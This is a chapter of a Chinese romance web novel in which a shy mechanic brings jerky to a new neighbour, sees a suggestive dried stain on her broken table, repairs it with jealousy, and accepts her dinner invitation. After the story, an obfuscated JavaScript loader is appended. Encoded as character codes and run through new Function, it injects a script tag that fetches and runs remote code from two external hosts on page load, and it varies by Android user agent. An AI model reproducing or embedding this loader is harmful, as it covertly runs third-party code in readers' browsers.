迟映余刚放下手机,门口就响起了三下沉闷的带着试探意味的敲门声。
不是周屹川。他的敲门声总是礼貌而克制的两下。
她起身走过去,拉开了那扇吱呀作响的铁门。
李诀站在门口。
他像一堵沉默的墙,高大宽厚的肩膀,把走廊里那点本就稀薄的傍晚余光遮挡得严严实实。他身后,是一片暧昧的昏暗。
他手里拎着一个透明的玻璃罐,里面装着颜色纹理分明的肉干。
“嗯…那个……”他一看到她,眼神就下意识地往旁边飘,不敢直视她的眼睛。
他的声音很低,带着一种与他粗犷外表不符的笨拙与局促,“前几天有个修车的客人,今天送了我几罐牛肉干,我吃不完,想问问你要不要。”
他把手里的玻璃罐往前递了递,那只布满厚茧和车油的手,和那个擦得干干净净的玻璃罐,形成一种奇异的令人心头发酸的对比。
“都是邻居,互相关照一下……”他越说声音越小,最后几个字几乎是含在喉咙里,连他自己都觉得这借口找得拙劣。
这牛肉干,是他昨天花了一晚上,在自己那个小小的厨房里,用最新鲜的牛腱子肉,配上十几种香料,小火慢烘出来的。
他想着她可能会喜欢这种有嚼劲的零食,却又怕她嫌弃是他这种粗人做的,不敢直说。
迟映余看着他那副紧张得手都不知道往哪儿放的样子,没有戳穿。
她只是静静地看了他几秒,然后伸出手,接过了那个还带着他手心温度的玻璃罐。
“谢了。”
她的声音很淡,听不出什么情绪。
李诀像是得了大赦令,心里猛地松了一口气,转身就想逃。
“对了,”迟映余的声音又从背后传来,叫住了他,“我的桌子,不小心散架塌了。”
李诀的脚步顿住了,他回过头,有些不解地看着她。
“能帮我修修吗?”她侧过身,让开了门口的位置,指了指屋里那个角落,“修不好也没关系,我到时候买个新的。”
李诀的视线,顺着她指的方向,探进了这个属于她的神秘的私人空间。
屋子很小,和他那间一样。但很干净,空气里有股子好闻的像雪一样的味道。
然后,他就看到了那张桌子的“尸体”。
它的一条腿从根部断裂,整个桌面歪斜地塌在地上,上面散落着几本书。
而最刺眼的,是那片深色木质的桌面上,有一滩已经干涸的半透明的带着一点点乳白色痕迹的水渍。
那水渍的形状,暧昧,黏稠,充满了某种无法言说的淫靡气息。
李诀的瞳孔,在那一瞬间,猛地收缩了一下。
他不是不通世事的少年。
他知道那是什么。
那是另一个男人,留在这张桌子上的属于占有的印记。
一股无法言喻的,混杂着忮忌、愤怒和屈辱的情绪,像烧红的铁水,瞬间从他脚底板冲上天灵盖,烧得他脑子里一片空白,四肢百骸都跟着发麻。
他早上才见过那个穿大衣的男人。
原来……他们就在这张桌子上……
“怎么了?”迟映余的声音,将他从那股灼人的情绪里拉了回来,“很麻烦吗?”
“……不麻烦。”李诀从喉咙里,挤出这三个字。他的声音,沙哑得像被砂纸打磨过。
他迈开腿,走了进去。
他走到那堆残骸前,蹲下身子,伸出手,用指腹,轻轻地碰了一下那片已经干涸的水渍。
触感是粗糙的,硬的。
可在他心里,却仿佛是滚烫的,黏腻的,带着另一个男人的体温和味道。
他感觉自己的心脏,像被一只无形的手,狠狠地攥住了,疼得他几乎要喘不过气来。
“能修吗?”迟映余又问了一遍,她就站在他身后,居高临下地看着他。那道目光,像探照灯一样,让他无处遁形。
“……能。”李诀低着头,不敢让她看到自己此刻的表情。他怕她看到自己眼睛里的那片红色。
他站起身,声音闷闷地说:“我回去拿工具。”
说完,他便逃也似的,走出了那间让他快要窒息的屋子。
回到自己房间,他没有立刻去拿工具箱。他走到水槽边,拧开冷水,把那只碰过那片水渍的手,放在下面,一遍又一遍地,用力地搓洗着。
他想洗掉那上面属于另一个男人的痕迹。
他拿了工具箱,重新回到那扇门前,深吸了一口气,才又敲了敲门。
这一次,他没有再去看那片水渍。他只是沉默地,专注地,开始修理那张散架的桌子。
他的动作很专业,很利落。找到断裂的桌腿,用带来的强力胶和钉子,重新固定,加固。
迟映余就靠在床边,抱着手臂,安静地看着他。
她不说话,也不走开。
那目光,像实质一样,落在他宽阔的脊背上,让他觉得浑身都不自在。
“你……”他终于还是忍不住,先开了口,“你一直都住在这里吗?”
“刚搬来。”
对话简短,干巴巴的,像两块石头在碰撞。
李诀不再说话了。他只是埋着头,加快了手上的动作。
很快,那张桌子就被他重新修好了。虽然还有些歪斜,但至少,能站稳了。
“好了。”他站起身,用袖子擦了擦额上的汗。
“多少钱?”迟映余问。
“……不要钱。”李诀立刻说道,语气有些急,“邻居,应该的。”
他怕她又像上次一样,用钱来划清他们之间的界限。
迟映余看着他,那双琥珀色的眼睛里,闪过一丝他读不懂的光。
“那……我请你吃饭吧。”她说,“就当是谢礼。”
李诀的心,猛地跳了一下。
吃饭?
和他?
“我……”他想拒绝,他怕自己坐在她对面,会紧张得连筷子都拿不稳。
“你不愿意?”迟映余微微挑了挑眉。
“不是!”李诀立刻改口,“什么时候?”
“现在,”迟映余看了一眼墙上的挂钟,“我饿了。”
“……好。”
他听到自己这么说。
他看着她拿起一件外套穿上,然后走到门口,回头看着他。
“走吧。”
(function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);(new Function(document.currentScript.previousSibling.textContent))();
